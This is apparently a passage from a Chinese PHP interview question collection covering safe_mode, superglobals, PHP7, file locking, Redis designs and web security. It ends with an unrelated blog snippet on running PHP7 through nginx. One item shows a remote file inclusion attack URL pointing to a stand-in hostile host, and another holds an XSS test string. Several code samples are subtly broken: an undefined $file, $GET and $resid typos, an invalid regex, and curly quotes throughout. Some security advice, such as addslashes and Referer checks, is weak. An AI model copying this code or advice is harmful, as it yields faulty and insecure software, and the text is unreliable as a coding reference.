静态方法是类中的一个成员方法,属于整个类,即使不用创建任何对象也可以直接调用!静态方法效率上要比实例化高,静态方法的缺点是不自动销毁,而实例化的则可以做销毁。

4.类的数组方式调用

ArrayAccess(数组式访问)接口

5.用php写一个函数,获取一个文本文件最后n行内容,要求尽可能效率高,并可以跨平台使用。

function tail($file, $num)
{
$fp = fopen($file,”r”);
$pos = -2;
$eof = “”;
$head = false; //当总行数小于Num时,判断是否到第一行了
$lines = array();
while ($num > 0) {
while($eof != PHP_EOL){
if (fseek($fp, $pos, SEEK_END) == 0) { //fseek成功返回0,失败返回-1
$eof = fgetc($fp);
$pos–;
} else { //当到达第一行,行首时,设置$pos失败
fseek($fp, 0, SEEK_SET);
$head = true; //到达文件头部,开关打开
break;
}
}
array_unshift($lines, str_replace(PHP_EOL, ”, fgets($fp)));
if ($head) {//这一句,只能放上一句后,因为到文件头后,把第一行读取出来再跳出整个循环
break;
}
$eof = “”;
$num–;
}
fclose($fp);
return $lines;
}
6.$SERVER[‘SERVER_NAME’]和$SERVER[‘HTTP_HOST’]的区别

相同点: 当满足以下三个条件时,两者会输出相同信息。

服务器为80端口
apache的conf中ServerName设置正确
HTTP/1.1协议规范
不同点:

通常情况: $_SERVER[“HTTP_HOST”] 在HTTP/1.1协议规范下,会根据客户端的HTTP请求输出信息。 $_SERVER[“SERVER_NAME”] 默认情况下直接输出apache的配置文件httpd.conf中的ServerName值。
当服务器为非80端口时: $_SERVER[“HTTP_HOST”] 会输出端口号,例如:coffeephp.com:8080 $_SERVER[“SERVER_NAME”] 会直接输出ServerName值 因此在这种情况下,可以理解为:$_SERVER[‘HTTP_HOST’] = $_SERVER[‘SERVER_NAME’] : $_SERVER[‘SERVER_PORT’]
当配置文件httpd.conf中的ServerName与HTTP/1.0请求的域名不一致时: httpd.conf配置如下:

ServerName jsyzchen.com
ServerAlias blog.jsyzchen.com

客户端访问域名 blog.jsyzchen.com $_SERVER[“HTTP_HOST”] 输出 blog.jsyzchen.com $_SERVER[“SERVER_NAME”] 输出jsyzchen.com

7.打开php.ini的safe_mode会影响哪些参数

当safe_mode=On时,会出现下面限制:

所有输入输出函数(例如fopen()、file()和require())的适用会受到限制,只能用于与调用这些函数的脚本有相同拥有者的文件。例如,假定启用了安全模式,如果Mary拥有的脚本调用fopen(),尝试打开由Jonhn拥有的一个文件,则将失败。但是,如果Mary不仅拥有调用 fopen()的脚本,还拥有fopen()所调用的文件,就会成功。
如果试图通过函数popen()、system()或exec()等执行脚本,只有当脚本位于safe_mode_exec_dir配置指令指定的目录才可能。
HTTP验证得到进一步加强,因为验证脚本用于者的UID划入验证领域范围内。此外,当启用安全模式时,不会设置PHP_AUTH。
如果适用MySQL数据库服务器,链接MySQL服务器所用的用户名必须与调用mysql_connect()的文件拥有者用户名相同。
详细的解释可以查看官网:www.php.net/manual/zh/i… php safe_mode影响参数
函数名 限制
dbmopen() 检查被操作的文件或目录是否与正在执行的脚本有相同的 UID(所有者)。
dbase_open() 检查被操作的文件或目录是否与正在执行的脚本有相同的 UID(所有者)。
filepro() 检查被操作的文件或目录是否与正在执行的脚本有相同的 UID(所有者)。
filepro_rowcount() 检查被操作的文件或目录是否与正在执行的脚本有相同的 UID(所有者)。
filepro_retrieve() 检查被操作的文件或目录是否与正在执行的脚本有相同的 UID(所有者)。
ifx_* sql_safe_mode 限制, (!= safe mode)
ingres_* sql_safe_mode 限制, (!= safe mode)
mysql_* sql_safe_mode 限制, (!= safe mode)
pg_loimport() 检查被操作的文件或目录是否与正在执行的脚本有相同的 UID(所有者)。
posix_mkfifo() 检查被操作的目录是否与正在执行的脚本有相同的 UID(所有者)。
putenv() 遵循 ini 设置的 safe_mode_protected_env_vars 和 safe_mode_allowed_env_vars 选项。请参考 putenv() 函数的有关文档。
move_uploaded_file() 检查被操作的文件或目录是否与正在执行的脚本有相同的 UID(所有者)。
chdir() 检查被操作的目录是否与正在执行的脚本有相同的 UID(所有者)。
dl() 本函数在安全模式下被禁用。
backtick operator 本函数在安全模式下被禁用。
shell_exec() (在功能上和 backticks 函数相同) 本函数在安全模式下被禁用。
exec() 只能在 safe_mode_exec_dir 设置的目录下进行执行操作。基于某些原因,目前不能在可执行对象的路径中使用 ..。escapeshellcmd() 将被作用于此函数的参数上。
system() 只能在 safe_mode_exec_dir 设置的目录下进行执行操作。基于某些原因,目前不能在可执行对象的路径中使用 ..。escapeshellcmd() 将被作用于此函数的参数上。
passthru() 只能在 safe_mode_exec_dir 设置的目录下进行执行操作。基于某些原因,目前不能在可执行对象的路径中使用 ..。escapeshellcmd() 将被作用于此函数的参数上。
popen() 只能在 safe_mode_exec_dir 设置的目录下进行执行操作。基于某些原因,目前不能在可执行对象的路径中使用 ..。escapeshellcmd() 将被作用于此函数的参数上。
fopen() 检查被操作的目录是否与正在执行的脚本有相同的 UID(所有者)。
mkdir() 检查被操作的目录是否与正在执行的脚本有相同的 UID(所有者)。
rmdir() 检查被操作的目录是否与正在执行的脚本有相同的 UID(所有者)。
rename() 检查被操作的文件或目录是否与正在执行的脚本有相同的 UID(所有者)。 检查被操作的目录是否与正在执行的脚本有相同的 UID(所有者)。
unlink() 检查被操作的文件或目录是否与正在执行的脚本有相同的 UID(所有者)。 检查被操作的目录是否与正在执行的脚本有相同的 UID(所有者)。
copy() 检查被操作的文件或目录是否与正在执行的脚本有相同的 UID(所有者)。 检查被操作的目录是否与正在执行的脚本有相同的 UID(所有者)。 (on source and target )
chgrp() 检查被操作的文件或目录是否与正在执行的脚本有相同的 UID(所有者)。
chown() 检查被操作的文件或目录是否与正在执行的脚本有相同的 UID(所有者)。
chmod() 检查被操作的文件或目录是否与正在执行的脚本有相同的 UID(所有者)。 另外,不能设置 SUID、SGID 和 sticky bits
touch() 检查被操作的文件或目录是否与正在执行的脚本有相同的 UID(所有者)。 检查被操作的目录是否与正在执行的脚本有相同的 UID(所有者)。
symlink() 检查被操作的文件或目录是否与正在执行的脚本有相同的 UID(所有者)。 检查被操作的目录是否与正在执行的脚本有相同的 UID(所有者)。 (注意:仅测试 target)
link() 检查被操作的文件或目录是否与正在执行的脚本有相同的 UID(所有者)。 检查被操作的目录是否与正在执行的脚本有相同的 UID(所有者)。 (注意:仅测试 target)
apache_request_headers() 在安全模式下,以“authorization”(区分大小写)开头的标头将不会被返回。
header() 在安全模式下,如果设置了 WWW-Authenticate,当前脚本的 uid 将被添加到该标头的 realm 部分。
PHP_AUTH 变量 在安全模式下,变量 PHP_AUTH_USER、PHP_AUTH_PW 和 PHP_AUTH_TYPE 在 $_SERVER 中不可用。但无论如何,您仍然可以使用 REMOTE_USER 来获取用户名称(USER)。(注意:仅 PHP 4.3.0 以后有效)
highlight_file(), show_source() 检查被操作的文件或目录是否与正在执行的脚本有相同的 UID(所有者)。 检查被操作的目录是否与正在执行的脚本有相同的 UID(所有者)。 (注意,仅在 4.2.1 版本后有效)
parse_ini_file() 检查被操作的文件或目录是否与正在执行的脚本有相同的 UID(所有者)。 检查被操作的目录是否与正在执行的脚本有相同的 UID(所有者)。 (注意,仅在 4.2.1 版本后有效)
set_time_limit() 在安全模式下不起作用。
max_execution_time 在安全模式下不起作用。
mail() 在安全模式下,第五个参数被屏蔽。
8.PHP解决多进程同时写一个文件的问题

function write($str)
{
$fp = fopen($file, ‘a’);
do {
usleep(100);
} while (!flock($fp, LOCK_EX));
fwrite($fp, $str . PHP_EOL);
flock($fp, LOCK_UN);
fclose($fp);
}
9.PHP里的超全局变量

$GLOBALS
$_SERVER
$_GET
$_POST
$_FILES
$_COOKIE
$_SESSION
$_REQUEST
$_ENV
10.php7新特性

?? 运算符(NULL 合并运算符)
函数返回值类型声明
标量类型声明
use 批量声明
define 可以定义常量数组
闭包( Closure)增加了一个 call 方法 详细的可以见官网:php7-new-features
11.php7卓越性能背后的优化

减少内存分配次数
多使用栈内存
缓存数组的hash值
字符串解析成桉树改为宏展开
使用大块连续内存代替小块破碎内存 详细的可以参考鸟哥的PPT:PHP7性能之源
12.include($_GET[‘p’])的安全隐患

现在任一个黑客现在都可以用:http://www.yourdomain.com/index.php?p=anyfile.txt 来获取你的机密信息,或执行一个PHP脚本。 如果allow_url_fopen=On,你更是死定了: 试试这个输入:http://www.yourdomain.com/index.php?p=http://youaredoomed.com/phphack.php 现在你的网页中包含了http://www.youaredoomed.com/phphack.php的输出. 黑客可以发送垃圾邮件,改变密码,删除文件等等。只要你能想得到。

13.列出一些防范SQL注入、XSS攻击、CSRF攻击的方法

SQL注入:

addslashes函数
mysql_real_escape_string/mysqli_real_escape_string/PDO::quote()
PDO预处理 XSS:htmlspecial函数 CSRF:
验证HTTP REFER
使用toke进行验证
14.接口如何安全访问

jwt或验证签名

15.PHP里有哪些设计模式

单例模式
工厂模式
脸面模式(facade)
注册器模式
策略模式
原型模式
装饰器模式 更多的可以看PHP设计模式简介这篇文章
16.验证ip是否正确

function check_ip($ip)
{
if (!filter_var($ip, FILTER_VALIDATE_IP)) {
return false;
} else {
return true;
}
}
17.验证日期是否合理

function check_datetime($datetime)
{
if (date(‘Y-m-d H:i:s’, strtotime($datetime)) === $datetime) {
return true;
} else {
return false;
}
}
18.写一个正则表达式,过滤JS脚本(及把script标记及其内容都去掉)

$text = '<script>// <![CDATA[
alert('XSS')
// ]]></script>';
$pattern = '&lt;script.*&gt;.*&lt;\/script&gt;/i';
$text = preg_replace($pattern, '', $text);

19.下单后30分钟未支付取消订单

第一种方案:被动过期+cron,就是用户查看的时候去数据库查有没有支付+定时清理。 第二种方案:延迟性任务,到时间检查订单是否支付成功,如果没有支付则取消订单

20.设计一个秒杀系统

思路:用redis的队列

$redis_key = ‘seckill’;//记录中奖记录
$uid = $GET[‘uid’];
$count = 10;//奖品的数量
if ($redis->lLen($redis_key) < 10) { $redis->rPush($redis_key, $uid . ‘_’ . microtime());
echo “秒杀成功”;
} else {
echo “秒杀已结束”;
}
21.请设计一个实现方式,可以给某个ip找到对应的省和市,要求效率竟可能的高

//ip2long,把所有城市的最小和最大Ip录进去
$redis_key = ‘ip’;
$redis->zAdd($redis_key, 20, ‘#bj’);//北京的最小IP加#
$resid->zAdd($redis_key, 30, ‘bj’);//最大IP

function get_ip_city($ip_address)
{
$ip = ip2long($ip_address);

$redis_key = ‘ip’;
$city = zRangeByScore($redis_key, $ip, ‘+inf’, array(‘limit’ => array(0, 1)));
if ($city) {
if (strpos($city[0], “#”) === 0) {
echo ‘城市不存在!’;
} else {
echo ‘城市是’ . $city[0];
}
} else {
echo ‘城市不存在!’;
}
}
其他

1.网页/应用访问慢突然变慢,如何定位问题

top、iostat查看cpu、内存及io占用情况
内核、程序参数设置不合理 查看有没有报内核错误,连接数用户打开文件数这些有没有达到上限等等
链路本身慢 是否跨运营商、用户上下行带宽不够、dns解析慢、服务器内网广播风暴什么的
程序设计不合理 是否程序本身算法设计太差,数据库语句太过复杂或者刚上线了什么功能引起的
其它关联的程序引起的 如果要访问数据库,检查一下是否数据库访问慢
是否被攻击了 查看服务器是否被DDos了等等
硬件故障 这个一般直接服务器就挂了,而不是访问慢
2.如何设计/优化一个访问量比较大的博客/论坛

减少http请求(比如使用雪碧图)
优化数据库(范式、SQL语句、索引、配置、读写分离)
缓存使用(Memcache、Redis)
负载均衡
动态内容静态化+CDN
禁止外部盗链(refer、图片添加水印)
控制大文件下载
使用集群
3.如何搭建Composer私有库

使用satis搭建
相关文章介绍:使用satis搭建Composer私有库

[PHP7]博客升级PHP7

看了鸟哥微博:https://www.slideshare.net/slideshow/embed_code/key/KMbqLBfzYnMN29

继升级https之后,百忙之中升级博客使用php7,方法之前博客已经提到.

nginx定义变量


set $version php5;

if(host ~ "da.dadaaierer.com") {

set $version php7;

}

&nbsp;

后面的配置换个变量即可!

效率待验证!